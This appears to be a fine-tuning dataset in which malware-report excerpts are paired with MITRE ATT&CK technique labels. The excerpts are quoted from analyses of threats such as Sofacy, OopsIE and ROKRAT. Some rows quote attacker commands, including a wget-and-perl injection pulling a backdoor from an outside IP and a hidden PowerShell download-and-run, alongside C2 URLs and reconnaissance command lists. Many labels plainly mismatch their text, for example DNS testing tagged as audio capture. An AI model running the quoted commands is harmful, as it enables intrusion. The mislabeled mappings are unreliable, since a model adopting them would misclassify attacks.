"Procmon shows the malicious module loaded using the regsvr32.exe process.   Phase two: Payload Analysis    The only module the XSL script loads is Irdsnhrxxxfery64, which is packed using the UPX packer","['T1218.010 - Signed Binary Proxy Execution: Regsvr32', 'T1027.002 - Obfuscated Files or Information: Software Packing']",fine_tune
"RAR Creates RAR files per logical drive containing data with timestamps for the past 7 days, then uploads RAR to the C2 server using a POST command at the path “/FeedBack.php”","['T1041 - Exfiltration Over C2 Channel', 'T1560 - Archive Collected Data']",fine_tune
Read a specified file’s contents and send the data to the control server Write data sent by the control server to an existing file Mark a file to be deleted on reboot  Marking a file for deletion on reboot,"['T1070.006 - Indicator Removal on Host: Timestomp', 'T1041 - Exfiltration Over C2 Channel']",fine_tune
"Reaver.v1 has been observed delivering a payload that uses HTTP for network communication, while versions 2 and 3 use a payload that uses raw TCP connections for this communication","['T1071 - Application Layer Protocol', 'T1049 - System Network Connections Discovery']",fine_tune
"Reaver will then install itself as a service in the event it is running with SeDebugPrivilege privileges.  The service is configured with a name, description, and display name that is provided within the configuration","['T1007 - System Service Discovery', 'T1543.003 - Create or Modify System Process: Windows Service']",fine_tune
"Registry key “Software\Microsoft\Windows\CurrentVersion\Internet Settings\” is queried to gather proxy information with values ProxyEnable, Proxy: (NO), Proxy, ProxyServer","['T1090 - Proxy', 'T1012 - Query Registry']",fine_tune
"Remexi includes different modules that it deploys in its working directory, including configuration decryption and parsing, launching victim activity logging in a separate module, and seven threads for various espionage and auxiliary functions","['T1562.001 - Impair Defenses: Disable or Modify Tools', 'T1083 - File and Directory Discovery']",fine_tune
"RIPTIDE’s first communication with its C2 server fetches an encryption key, and the RC4 encryption key is used to encrypt all further communication",['T1573 - Encrypted Channel'],fine_tune
"SA  Generates the following IRC client command that will be sent to the C2 server: PRIVMSG <username> : Hello ,my name is  <IRC USER name>, Im ready my Computer Name is:<computer name>    All of the commands, except for the VER command, must be issued by individuals in the IRC channel with nicknames that start with “AS_” or “AF_”","['T1033 - System Owner/User Discovery', 'T1082 - System Information Discovery']",fine_tune
"Sample(s) f1b2bc0831445903c0d51b390b1987597009cc0fade009e07d792e8d455f6db0 5cc62ad6baf572dbae925f701526310778f032bb4a54b205bada78b1eb8c479c   DNS tbs1/tbs2.microsoftonline.services   Domains 0ffice365[.]agency    0ffice365[.]life    0ffice365[.]services    0nedrive[.]agency    corewindows[.]agency    microsoftonline[.]agency    onedrive[.]agency    sharepoint[.]agency    skydrive[.]agency    skydrive[.]services   Sample eb33a96726a34dd60b053d3d1048137dffb1bba68a1ad6f56d33f5d6efb12b97   DNS tvs1/tvs2.trafficmanager.live   Domains akamaiedge[.]live     akamaized[.]live     akdns[.]live     edgekey[.]live    Table 7: Sample and Domain Associations The third cluster of domains had six different nameservers associated with them, but unlike the other two clusters, were all directly tied to each other","['T1007 - System Service Discovery', 'T1543.003 - Create or Modify System Process: Windows Service']",fine_tune
"Screen capture and audio recording  SpyNote RAT was able to take screen captures and, using the device’s microphone, listen to audio conversations","['T1113 - Screen Capture', 'T1123 - Audio Capture']",fine_tune
SCT File Analysis The code of the Defender.sct file is an obfuscated JavaScript,"['T1064 - Scripting', 'T1027 - Obfuscated Files or Information']",fine_tune
SECOND STAGE JAVASCRIPT INTO POWERSHELL: The second stage JavaScript creates a PowerShell file with the same name in the same directory,"['T1064 - Scripting', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder', 'T1059.001 - Command and Scripting Interpreter: PowerShell']",fine_tune
"Service providers have significant access to customer networks, enabling an attacker who had compromised a service provider to move laterally into the network of the service provider’s customer","['T1543.003 - Create or Modify System Process: Windows Service', 'T1021 - Remote Services']",fine_tune
"Serving the backdoor  Another HTTP request is sent to the targeted server, with the following resource: /?module=wget hxxp://67[.]209.177.163/ibus -O /tmp/e3ac24a0bcddfacd010a6c10f4a814bc The above standard injection pulls the ibus payload and stores it on /tmp/e3ac24a0bcddfacd010a6c10f4a814bc  Launching the backdoor  The execution is issued using an additional HTTP request: /?module=perl /tmp/ e3ac24a0bcddfacd010a6c10f4a814bc;sleep 2;rm -rf /tmp/ e3ac24a0bcddfacd010a6c10f4a814bc That executes the perl script, puts it to sleep for two seconds and deletes the file to remove any evidence","['T1070.004 - Indicator Removal on Host: File Deletion', 'T1074 - Data Staged']",fine_tune
"Similar to the previous case, if Avast and aswrundll.exe are on the machine, Irdsnhrxxxfery98 will be injected into that process instead of regsvr32.exe.   Irdsnhrxxxfery64 injecting lrdsnhrxxfery98","['T1055 - Process Injection', 'T1218.010 - Signed Binary Proxy Execution: Regsvr32']",fine_tune
"Since Operation Clandestine Fox, we have observed this actor execute multiple attacks that did not rely on zero-day exploits. The combination of this sustained operational tempo and lack of zero-day exploits may indicate that this group has changed strategy and has decided to attack more frequently and does not have steady access to zero-day exploit code. No matter the strategy, this actor has shown an ability to operate successfully","['T1068 - Exploitation for Privilege Escalation', 'T1203 - Exploitation for Client Execution']",fine_tune
"Some of the instances used in this script are: $eNv:puBLic[13]+$ENv:pUBLIc[5]+'x' ($ENV:cOMsPEC[4,26,25]-jOin'')      XOR encoding: The biggest section of the PowerShell script is XOR encoded using a single byte key, as shown in Figure 11","['T1573 - Encrypted Channel', 'T1027 - Obfuscated Files or Information']",fine_tune
"Specifies the screen coordinates to take   -zip Name of password (from configuration data) protected zip archive   -clipboard Screenshot file name where a bitmap from the clipboard is saved in Cache005 subdirectory, zipped with password from configuration    Data exfiltration Exfiltration is done through the bitsadmin.exe utility","['T1113 - Screen Capture', 'T1115 - Clipboard Data', 'T1560 - Archive Collected Data', 'T1132 - Data Encoding', 'T1486 - Data Encrypted for Impact']",fine_tune
"SpyNote RAT is capable of performing a variety of alarming functions that includes:   Activating the device’s microphone and listening to live conversations  Executing commands on the device  Copying files from the device to a Command & Control (C&C) center  Recording screen captures  Viewing contacts  Reading SMS messages  The screenshot below shows part of the sandbox’s report on the SpyNote RAT’s signature and detected functions:          Figure 1 : Zscaler Cloud Sandbox Detection     The fake Netflix app we are analyzing in this blog appears to be built using an updated version of SpyNote RAT builder, which was leaked last year","['T1113 - Screen Capture', 'T1083 - File and Directory Discovery', 'T1043 - Commonly Used Port']",fine_tune
Strings in the backdoor are encrypted using a custom algorithm that uses XOR with a 4-byte key,"['T1573 - Encrypted Channel', 'T1027 - Obfuscated Files or Information']",fine_tune
"Summary information for the three binaries we analyzed follows:    MD5 364ff454dcf00420cff13a57bcb78467   SHA-256 8bca0031f3b691421cb15f9c6e71ce19335 5d2d8cf2b190438b6962761d0c6bb   ssdeep 3072:n+1R4tREtGN4qyGCXdHPYK9l0H786 O26BmMAwyWMn/qwwiHNl:n+1R43QcIL XdF0w6IBmMAwwCwwi   Size 141.2 KB (144560 bytes)   Type ELF 64-bit (stripped)   Install as root /bin/rsyncd   Root install desc synchronize and backup service   Install as non-root ~/.config/dbus-notifier/dbus-inotifier   Non-root install desc system service d-bus notifier   C2 azureon-line[.]com (TCP/80)   Usage Timeframe Late 2014    Table 1: Sample 1 – Late 2014 Sofacy 64-bit Fysbis    MD5 075b6695ab63f36af65f7ffd45cccd39   SHA-256 02c7cf55fd5c5809ce2dce56085ba43795f2 480423a4256537bfdfda0df85592   ssdeep 3072:9ZAxHANuat3WWFY9nqjwbuZf454U NqRpROIDLHaSeWb3LGmPTrIW33HxIajF: 9ZAxHANJAvbuZf454UN+rv eQLZPTrV3Z   Size 175.9 KB (180148 bytes)   Type ELF 32-bit (stripped)   Install as root /bin/ksysdefd   Root install desc system kernel service defender   Install as non-root ~/.config/ksysdef/ksysdefd   Non-root install desc system kernel service defender   C2 198.105.125[.]74 (TCP/80)   Usage Timeframe Early 2015    Table 2: Sample 2 – Early 2015 Sofacy 32-bit Fysbis    MD5 e107c5c84ded6cd9391aede7f04d64c8   SHA-256 fd8b2ea9a2e8a67e4cb3904b49c789d57ed 9b1ce5bebfe54fe3d98214d6a0f61   ssdeep 6144:W/D5tpLWtr91gmaVy+mdckn6BCUd c4mLc2B9:4D5Lqgkcj+   Size 314.4 KB (321902 bytes)   Type ELF 64-bit (not stripped)   Install as root /bin/ksysdefd   Root install desc system kernel service defender   Install as non-root ~/.config/ksysdef/ksysdefd   Non-root install desc system kernel service defender   C2 mozilla-plugins[.]com (TCP/80)   Usage Timeframe Late 2015    Table 3: Sample 3 – Late 2015 Sofacy 64-bit Fysbis Overall, these binaries are assessed as low sophistication, but effective","['T1082 - System Information Discovery', 'T1543.003 - Create or Modify System Process: Windows Service', 'T1569.002 - System Services: Service Execution']",fine_tune
System info:  Computer name System info using: cmd /c systeminfo >%temp%\temp.ini List of currently running process using: cmd /c tasklist >%temp%\temp.ini    Exfiltration  The data exfiltration process runs in the following sequence: The temp.ini files are copied into a text file that matches the pattern:  From <COMPUTER-NAME> (<Month>-<Day> <Hour>-<Minute>-<Second>).txt,"['T1082 - System Information Discovery', 'T1074 - Data Staged', 'T1057 - Process Discovery', 'T1486 - Data Encrypted for Impact']",fine_tune
"Team member or team identifier Analysis of the OwaAuth web shell revealed a PDB string with the ""SyberSpace"" username (see Figure 20)","['T1033 - System Owner/User Discovery', 'T1505.003 - Server Software Component: Web Shell']",fine_tune
"Techniques for Analysis When I was analyzing this sample, the malware was unable to connect to its C2.  However, I was still able to analyze the network traffic of the sample.  How, you might ask?  Using a hex editor and a script I wrote to encrypt text using the algorithm that this sample uses, I encrypted my own C2 address (192.168.1.108:7721) and replaced the hardcoded C2 address with my own encrypted address.  I then opened a listener on my own IP on the respective port.    [Screenshot 3] comparison of My IP (Left) vs C2 IP (Right) Next, using a debugger, I set a couple breakpoints in the Internet Communications function and ran the malware.  The malware sample then connected to my IP and sent information to me, which I was able to observe using Wireshark.  After I’d captured the traffic, I was able to write another script to decrypt and decompress the traffic in order to view the data being sent.  Additionally, I then wrote a socket script that detects the Gh0stRAT variant traffic, automatically decrypts the traffic, and then extracts the Implant_Opcodes for the sample.  A second version of the script allows commands to be sent back to the malware, after I enumerated the exact command format for the sample.   [Screenshot 4] Output of Version 1 of the script So far, the 2 opcodes that the sample has sent are 0x65 and 0x66, or Implant_Heartbeat and Implant_Login, respectively.  “Hitting between the heartbeats” When sending commands, first the sample must login in with 0x65, then you can send commands to it.  However, you have to move fast as the sample will send an Implant_Heartbeat followed by an Implant_Login every 10 seconds or so, and if you try to send a command to the sample as it is responding with either opcode, it will ignore the command.  A proof of concept of the command script can be found here , while the Implant extraction script and the Command Script will be included in the Appendix","['T1573 - Encrypted Channel', 'T1132 - Data Encoding']",fine_tune
TG-3390 actors favor At.exe to create scheduled tasks for executing commands on remote systems,"['T1053.005 - Scheduled Task/Job: Scheduled Task', 'T1059 - Command and Scripting Interpreter']",fine_tune
"TG-3390 actors frequently change the C2 domain's A record to point to the loopback IP address 127.0.0.1, which is a variation of a technique known as ""parking."" Other variations of parking point the IP address to Google's recursive name server 8.8.8.8, an address belonging to Confluence, or to other non-routable addresses","['T1573 - Encrypted Channel', 'T1016 - System Network Configuration Discovery']",fine_tune
"TG-3390 actors keep track of and leverage existing ASPXTool web shells in their operations, preferring to issue commands via an internally accessible web shell rather than HttpBrowser or PlugX","['T1059 - Command and Scripting Interpreter', 'T1505.003 - Server Software Component: Web Shell']",fine_tune
"The agent control panel has three tabs that have interfaces that allow the actor to issue commands, as well as upload and download files to and from the agent","['T1543.001 - Create or Modify System Process: Launch Agent', 'T1105 - Ingress Tool Transfer']",fine_tune
The assembly code used to create the shellcode can be obtained from: https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/block/block_api.asm https://github.com/rapid7/metasploit-framework/blob/master/external/source/shellcode/windows/x86/src/block/block_reverse_http.asm The purpose of the shellcode is to obtain additional shellcode to execute using an HTTP request to the URL “hxxp://45.76.128[.]165:4443/0w0O6”,"['T1071 - Application Layer Protocol', 'T1064 - Scripting']",fine_tune
"The backdoors they are deploying are difficult to detect and a significant threat to the privacy and security of enterprises, allowing attackers to steal information, delete files, install malware, and more","['T1518.001 - Software Discovery: Security Software Discovery', 'T1070.004 - Indicator Removal on Host: File Deletion']",fine_tune
"The C2 communications begins with a beacon to the following URL: hxxp://www.windowspatch[.]com/khc?<hex(STDOUT of whoami command)> If the C2 server wishes to send a command, it will respond to the beacon above by echoing the whoami command results sent by the Trojan to the C2 in the URL","['T1033 - System Owner/User Discovery', 'T1571 - Non-Standard Port', 'T1008 - Fallback Channels', 'T1043 - Commonly Used Port']",fine_tune
The code obtains the external IP address via an HTTP request using to “http://checkip.dyndns.org/” and uses a regular expression to locate an IP address from the HTTP response,"['T1071 - Application Layer Protocol', 'T1016 - System Network Configuration Discovery']",fine_tune
"The code then decodes this set of import symbols and resolves addresses for its networking and data stealing functionality: InternetCloseHandle InternetReadFile HttpSendRequestA HttpOpenRequestA HttpQueryInfoA InternetConnectA InternetCrackUrlA InternetOpenA InternetSetOptionW GetAdaptersInfo Much like the prior office monkey “atiumdag.dll” component, this code collects identifying system information using standard win32 API calls: Computer name – GetComputerNameW User name – GetUserNameW Adapter GUID, ip address, mac address – GetAdaptersInfo Windows version – GetVersionExW It then uses the runtime resolved networking API calls to send the collected data back to a hardcoded c2 and set of urls","['T1106 - Native API', 'T1140 - Deobfuscate/Decode Files or Information', 'T1016 - System Network Configuration Discovery']",fine_tune
The command handler obtains a command identifier from the C2 server and adds 0xFFFFFF9B to this value and then uses a switch statement to determine the appropriate command to execute,"['T1016 - System Network Configuration Discovery', 'T1059 - Command and Scripting Interpreter']",fine_tune
"The configuration data used by the backdoor has the following structure: #pragma pack(push, 1) struct st_cncconfig {   _WORD id;   _BYTE byte2;   _BYTE byte3;   _QWORD pCnCBeg;   _QWORD pCnCEnd;   _QWORD pLastElement; }; #pragma pack(pop) To be able to enter the data into the database, Linux.BackDoor.Fysbis.1 converts the configuration data into the following structure: #pragma pack(push, 1) struct st_crypted_config_data {   _WORD id;   _BYTE byte2;   _BYTE byte3;   char* pCnC;  }; #pragma pack(pop) Before the configuration data is encrypted with the RC4 algorithm, 11 signature bytes are added to the end of the data (11 bytes are stored in the backdoor's body)","['T1005 - Data from Local System', 'T1140 - Deobfuscate/Decode Files or Information', 'T1027.002 - Obfuscated Files or Information: Software Packing', 'T1041 - Exfiltration Over C2 Channel', 'T1560 - Archive Collected Data', 'T1486 - Data Encrypted for Impact']",fine_tune
The contents of the batch files vary depending on the OS (x64 vs x86). The batch files perform these tasks:  Stop the service COMSysApp Configure the service to autostart (to set up persistence on the system) Modify registry keys to launch the DLL unser svchost.exe Specify the malicious DLL path to be loaded into the svchost process,"['T1055 - Process Injection', 'T1112 - Modify Registry', 'T1064 - Scripting', 'T1569.002 - System Services: Service Execution']",fine_tune
"The data dump included the 0000000000.bat file, which when executed on an infected system would run the following commands to gather information to be sent back to the C2 server:  whoami hostname ipconfig /all net user /domain net group /domain net group “domain admins” /domain net group “Exchange Trusted Subsystem” /domain net accounts /domain net user net localgroup administrators netstat -an tasklist systeminfo reg query “HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default” schtasks /query /FO List /TN “GoogleUpdatesTaskMachineUI” /V | findstr /b /n /c:”Repeat: Every:” WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName /Format:List  This batch script is also interesting as it uses echo commands to include headers before each of the command results","['T1069 - Permission Groups Discovery', 'T1087 - Account Discovery']",fine_tune
The data field within the message is a string of custom base64 encoded data that the malware decodes using the same custom base64 routine mentioned earlier and decrypts it using AES and the pre-shared key,"['T1573 - Encrypted Channel', 'T1140 - Deobfuscate/Decode Files or Information', 'T1132 - Data Encoding']",fine_tune
"The downloaded .7zip file contains a .lnk file that, once pressed, initializes the malware","['T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification', 'T1105 - Ingress Tool Transfer']",fine_tune
"The dropper installs the backdoor, sets its attributes to “hidden”, and sets a random file date and time When the dropper installs the backdoor, it sets its attributes to “hidden” and sets file date and time to  random values using the touch command: touch –t YYMMDDMM “/path/filename” > /dev/null","['T1070.006 - Indicator Removal on Host: Timestomp', 'T1564.001 - Hide Artifacts: Hidden Files and Directories', 'T1124 - System Time Discovery']",fine_tune
"The encrypted message is then Base64 encoded, replacing all the ‘/’ and ‘+’ characters with the ‘.’ and ‘-’ characters, respectively","['T1027 - Obfuscated Files or Information', 'T1132 - Data Encoding']",fine_tune
The executable will drop the packaged QUADAGENT PowerShell script using the filename Office365DCOMCheck.ps1 in addition to a VBScript file with the same filename which will assist in the execution of it,"['T1036 - Masquerading', 'T1064 - Scripting']",fine_tune
"The file is saved to: C:\Users\[Username]\AppData\Local\Temp\notepad.exe  00 00 04  Content after command ID is written to: C:\Users\[Username]\AppData\Local\Temp\notepad2.exe  00 00 05  The files notepad1.exe and notepad2.exe are concatenated together and written to C:\Users\[Username]\AppData\Local\Temp\newnotepad.exe and executed  00 00 06  The contents of the following file is sent to the server: C:\Users\[Username]\AppData\Local\Temp\note.txt  00 00 07  The string following the command ID is executed using ""cmd /C"" and results are sent to server   Links to APT3 On October 28, we observed APT3 sending out spearphishing messages containing a compressed executable attachment","['T1033 - System Owner/User Discovery', 'T1036 - Masquerading', 'T1087 - Account Discovery', 'T1204 - User Execution']",fine_tune
"The first email displays the following decoy document to the infected user and download the following payload:hxxp://discgolfglow[.]com:/wp-content/plugins/maintenance/images/worker.jpgThe second email displays the following decoy document to the infected user and downloads the following payload:hxxp://acddesigns[.]com[.]au/clients/ACPRCM/kingstone.jpgIn both cases, the downloaded payload is the ROKRAT malware.The first tasks of this variant of ROKRAT is to check the operating system version","['T1105 - Ingress Tool Transfer', 'T1497 - Virtualization/Sandbox Evasion']",fine_tune
"The first stage shellcode contains an interesting NOP sled with alternative instructions, which was most likely designed in such a way to avoid detection by antivirus products looking for large NOP blocks inside flash files: NOP sled composed of 0x90 and 0x91 opcodes The main purpose of the initial shellcode is to download second stage shellcode from hxxp://89.45.67[.]107/rss/5uzosoff0u.iaf","['T1064 - Scripting', 'T1027 - Obfuscated Files or Information', 'T1105 - Ingress Tool Transfer']",fine_tune
The following commands are available:    Command  SubCommand Description   VER  Generates the following IRC client command that will be sent to the C2 server:   PRIVMSG <username> :    8 LED= 20160124   KILL  Trojan disconnects from the IRC server and terminates itself   RESET  Trojan disconnects from the IRC server and runs the executable again   OS  Obtains the Windows version and responds to the C2 with the following message “PRIVMSG <username> :<one of the following version strings>”:   Windows NT Windows 95 Windows 98 Windows ME Windows 2003 Windows XP Windows 7 Windows Vista Unkown os info   !SH EXEC Not supported    MD Creates a specified directory,"['T1106 - Native API', 'T1010 - Application Window Discovery']",fine_tune
The following commands are supported by the malware:  Command ID  Description  00 00 00  Content after command ID is written to: C:\Users\[Username]\AppData\Local\Temp\notepad1.exe  00 00 01  Deletes the files: C:\Users\[Username]\AppData\Local\Temp\notepad.exe C:\Users\[Username]\AppData\Local\Temp\newnotepad.exe  00 00 02  Malware exits  00 00 03  Malware downloads the URL that follows the command ID,"['T1033 - System Owner/User Discovery', 'T1204 - User Execution']",fine_tune
"The following functions are called when the application attempts to initialize the menu:ETransaksi.Speed(); // Legitimate class, but method is the first  wrapped function that leads to malicious code ProjectData.EndApp(); // Closes the application before rest of  legitimate Sales System Application functions are calledThe “Speed” method in the legitimate ETransaksi class contains legitimate code from the Sales System Application; however, the author of this tool includes this code in an if/else construct that bypasses these instructions by setting a false flag to skip the legitimate code and execute the next step to the malicious code","['T1140 - Deobfuscate/Decode Files or Information', 'T1036 - Masquerading', 'T1027.001 - Obfuscated Files or Information: Binary Padding', 'T1189 - Drive-by Compromise']",fine_tune
The following graph view from IDA shows these steps.These execution steps allow the launch of the new ROKRAT variant by decoding the PE binary and injecting into the cmd.exe process,"['T1055 - Process Injection', 'T1059 - Command and Scripting Interpreter']",fine_tune
The following HTTP request from the Helminth backdoor (SHA256: 1fb69090be8a2e11eeb220b26ee5eddf1e3fe81ffa59c47d47d01bf90c2b080c) downloaded the similar batch script: GET /update-index.aspx?req=1786873725%5Cbat&m=d HTTP/1.1 Host: update-kernal[.]net Connection: Keep-Alive We performed a code comparison to visualize the similarities between the batch script delivered as the default command in Poison Frog is to the script provided to the Helminth backdoor,"['T1071 - Application Layer Protocol', 'T1064 - Scripting']",fine_tune
The following screenshot shows the command execution functionality in action:            Figure 4: Command Execution     The paramString parameter shown in the above screenshot can be any command received from C&C,"['T1113 - Screen Capture', 'T1059 - Command and Scripting Interpreter']",fine_tune
"The frequent checking ensures that any changes made will be quickly followed, and the repeated attempts to run the Revenge RAT binary make it almost certain that even if the process is terminated, the RAT will be running again soon","['T1057 - Process Discovery', 'T1043 - Commonly Used Port']",fine_tune
"The function builds the contents of a second file by concatenating several strings together, but this second file is a .sct file that the function will write to a file %TEMP%\12-B-366.txt","['T1070.006 - Indicator Removal on Host: Timestomp', 'T1140 - Deobfuscate/Decode Files or Information']",fine_tune
"The function will take another executable embedded in the initial Trojan as a resource named “M”, which it attempts to inject into the following process to execute: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe While it’s configured to inject into cvtres.exe, the Trojan is also capable of injecting its code into the following process as well: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe   Embedded injector Trojan The R payload discussed above is nothing more than an injector Trojan, which accepts a path to an executable and a buffer of code to inject into the process as arguments","['T1055.012 - Process Injection: Process Hollowing', 'T1055 - Process Injection']",fine_tune
"The infection process is rather interesting, as it involves multiple layers of .NET assemblies that will eventually download the NanoCore remote administration tool (RAT) from a remote server and inject it into another process","['T1055 - Process Injection', 'T1105 - Ingress Tool Transfer']",fine_tune
The information gathered is added to a string in the following structure: <IP address>|<computer name>|<domain>|<username>|<isAdmin flag>|<hasGarbage flag from config>|<hasStartup flag from config>|<“hybrid” mode flag from config>|<sleep interval from config>|<jitter value from config> The payload will base64 encode this string and use its DNS tunneling protocol to transmit the data to the C2,"['T1033 - System Owner/User Discovery', 'T1016 - System Network Configuration Discovery']",fine_tune
"The last query is to the subdomain ihc[.]stage[.]12019683[.]ns2[.]true-deals[.]com):   The delivered second stage shellcode is encrypted:  METERPRETER: After decryption of the second stage shellcode, the shellcode deletes the ‘MZ’ prefix from within a very important part of the shellcode","['T1064 - Scripting', 'T1027 - Obfuscated Files or Information']",fine_tune
The latter PowerShell injects a shellcode into its own process using well-known CreateThread and VirtualAlloc techniques:   SHELLCODE: The shellcode phase of this attack is unique and demonstrates the constantly advancing abilities of attackers,"['T1064 - Scripting', 'T1059.001 - Command and Scripting Interpreter: PowerShell']",fine_tune
The loader’s main goal was to run a PowerShell command to execute shellcode,"['T1059 - Command and Scripting Interpreter', 'T1059.001 - Command and Scripting Interpreter: PowerShell']",fine_tune
The lures are primarily documents of interest to Pakistani nuclear organizations and the Pakistani military as can be seen in the images below:  Figure 1 Lure extracted from a67220bcf289af6a99a9760c05d197d09502c2119f62762f78523aa7cbc96ef1  Figure 2 Lure extracted from 07d5509988b1aa6f8d5203bc4b75e6d7be6acf5055831cc961a51d3e921f96bd  Figure 3 Lure extracted from b8abf94017b159f8c1f0746dca24b4eeaf7e27d2ffa83ca053a87deb7560a571  Figure 4 Lure extracted from d486ed118a425d902044fb7a84267e92b49169c24051ee9de41327ee5e6ac7c2 and fd8394b2ff9cd00380dc2b5a870e15183f1dc3bd82ca6ee58f055b44074c7fd4   The payload from each of the malicious documents is an updated version of the BADNEWS malware family,"['T1204 - User Execution', 'T1560 - Archive Collected Data']",fine_tune
"The macro downloads a payload from hxxp://lokipanelhostingpanel[.]gq/work/kh/1.exe (SHA256: 84ed59953f57f5927b9843f35ca3c325155d5210824d3b79b060755827b51f72) by running the following command line process:cmd.exe /c powershell -W Hidden (New-Object System.NeT.WeBClieNT).DownloadFile('http://lokipanelhostingpanel[.]gq/work/kh/1.exe','%Public%\\\\svchost32.exe');Start-Process '%Public%\\\\svchost32.exeThe macro then attempts to kill Microsoft Office and Windows Defender processes using the ‘taskkill’ command","['T1055.012 - Process Injection: Process Hollowing', 'T1057 - Process Discovery']",fine_tune
"The macro saves the chkSrv.vbs script to the system, which is responsible for running the IntelSecurityAssistManager.exe payload (OopsIE Trojan) and cleaning up the installation by deleting the two scheduled tasks, the Base.txt file, the ThreeDollars document, and the chkSrv.vbs script","['T1053.005 - Scheduled Task/Job: Scheduled Task', 'T1070.004 - Indicator Removal on Host: File Deletion']",fine_tune
"The main function of the dropper All strings within the dropper, as well as the backdoor, are encrypted using a hardcoded RSA256 key","['T1140 - Deobfuscate/Decode Files or Information', 'T1027 - Obfuscated Files or Information']",fine_tune
The malicious DLL is also responsible for terminating the cliconfg.exe process and deleting the malicious NTWDBLIB.dll using: cmd /c taskkill /im cliconfg.exe /f /t && del /f /q NTWDBLIB.DLL All the following capabilities described are implemented by the malicious service DLL implant unless specified.   Variant using North Korean Red Cross Another variant (hash: 9e2c0bd19a77d712055ccc0276fdc062e9351436) of the malicious Word dropper uses the same Base64-decoding scheme with a different custom key,"['T1055 - Process Injection', 'T1574.002 - Hijack Execution Flow: DLL Side-Loading']",fine_tune
"The malware beacons to this directory using the hardcoded API token and attempts to download these files (which are deleted from the Dropbox account after the download):  upload.bat, a batch script that the compromised machine will execute upload.rar, a RAR archive that contains at least two files: a batch script to execute, and often an executable (sometimes named rar.exe)  which the batch script will run and almost always uploads the results of download.rar to the cloud storage account silent.txt and period.txt,  small files sizes of 0-4 bytes that dictate the frequency to check in with the CnC  The threat actor will then download the results and then delete the files from the cloud storage account","['T1064 - Scripting', 'T1105 - Ingress Tool Transfer']",fine_tune
The malware demonstrates its evasive behavior by checking for the presence of specific processes related to antimalware products:  The presence of any process with the keywords “v3” and “cleaner.”   Checking for antimalware or cleaner processes,"['T1562.001 - Impair Defenses: Disable or Modify Tools', 'T1057 - Process Discovery']",fine_tune
"The malware uses obfuscation in order to hide strings such as URL or User-Agent, the algorithm is based on bitwise (SUB 0x0F XOR 0x21), here is the decoded data:hxxp://old[.]jrchina[.]com/btob_asiana/udel_confirm.phpMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; Tablet PC 2.0; .NET4.0E; InfoPath.3)The downloaded third payload is obfuscated using the same technique","['T1087 - Account Discovery', 'T1027 - Obfuscated Files or Information']",fine_tune
"The malware utilizes several persistence mechanisms including scheduled tasks, Userinit and Run registry keys in the HKLM hive","['T1053.005 - Scheduled Task/Job: Scheduled Task', 'T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder']",fine_tune
The OopsIE Trojan is configured to use a C2 server hosted at:www.msoffice365cdn[.]com The Trojan will construct specific URLs to communicate with the C2 server and parses the C2 server’s response looking for content within the tags <pre> and </pre>,"['T1071 - Application Layer Protocol', 'T1573 - Encrypted Channel', 'T1102 - Web Service', 'T1041 - Exfiltration Over C2 Channel', 'T1008 - Fallback Channels']",fine_tune
"The paths discovered are:  • C:\Users\leo\AppData\Local\Temp\Word8.0\MSForms.exd • C:\Users\poopak\AppData\Local\Temp\Word8.0\MSForms.exd • C:\Users\Vendetta\AppData\Local\Temp\Word8.0\MSForms.exd • C:\Users\Turk\AppData\Local\Temp\Word8.0\MSForms.exd   Leo, Poopak, Vendetta and Turk are the usernames of those creating the documents or the templates on which they are based","['T1033 - System Owner/User Discovery', 'T1005 - Data from Local System', 'T1087 - Account Discovery', 'T1204 - User Execution']",fine_tune
"The payload has a function it calls early on that tests to see which DNS query types are able to successfully reach the C2 server.  It iterates through a list of types and the first DNS type to receive a response from the C2 server will be used for all communications between the payload and the C2 server, which are in the following order (editor’s note: AC is not a  DNS record type but is a mode where the trojan will perform a request for an A record requiring ac as a subdomain):  A AAAA AC – (see note above) CNAME MX TXT SRV SOA  The payload uses the built-in Windows nslookup application with specific parameters and specially crafted subdomains to communicate with the C2","['T1123 - Audio Capture', 'T1071 - Application Layer Protocol', 'T1041 - Exfiltration Over C2 Channel', 'T1008 - Fallback Channels']",fine_tune
The Payloads The delivery documents in this attack campaign loaded remote templates whose macros installed a variety of first-stage payloads,"['T1064 - Scripting', 'T1027 - Obfuscated Files or Information']",fine_tune
"The payload then sets EIP to the entry point of the newly injected code using the SetThreadContext API, and finally calls the NtAlertResumeThread API function to run the injected code","['T1106 - Native API', 'T1140 - Deobfuscate/Decode Files or Information']",fine_tune
"The payload will communicate with its C2 server to obtain the session ID and pre-shared key and write it to this registry key in the following format:   <session id>_<pre-shared key>   To obtain the session ID and pre-shared key, the payload will first try to contact the C2 via an HTTPS GET request to the following URL:   hxxps://www.rdppath[.]com/   If the above request using HTTPS does not result in an HTTP 200 OK message or the response data has no alphanumeric characters, the code will attempt to communicate with the C2 server using HTTP via the following URL:   hxxp://www.rdppath[.]com/   The code to communicate with the C2 via HTTP exists within an exception handler","['T1071 - Application Layer Protocol', 'T1008 - Fallback Channels']",fine_tune
"The payload will use a specific regular expressions dependent on the type of DNS query was used to obtain the command string, which can be seen in Table 2:    DNS TYPE Regex Pattern   A Address:\s+(\d+.\d+.\d+.\d+)   AC \d+-\d+-(\d+)-([\w\d+/=]+)-\d-.ac.$Global:domain   AAAA Address:\s+(([a-fA-F0-9]{0,4}:{1,4}[\w|:]+){1,8})   CNAME,MX,TXT,SRV,SOA (\d+)-([\w\d/=+]{0,})\-.$Global:domain    Table 2 Types of responses provided by C2 These regular expressions are used to build strings that the payload will then subject to its command handler","['T1071 - Application Layer Protocol', 'T1016 - System Network Configuration Discovery']",fine_tune
The plugin uses the same network protocol as PLAINTEE and so we were able to trivially decode further commands that were sent.  The following commands were observed:  tasklist ipconfig /all  The attacker performed these two commands 33 seconds apart,"['T1573 - Encrypted Channel', 'T1059 - Command and Scripting Interpreter']",fine_tune
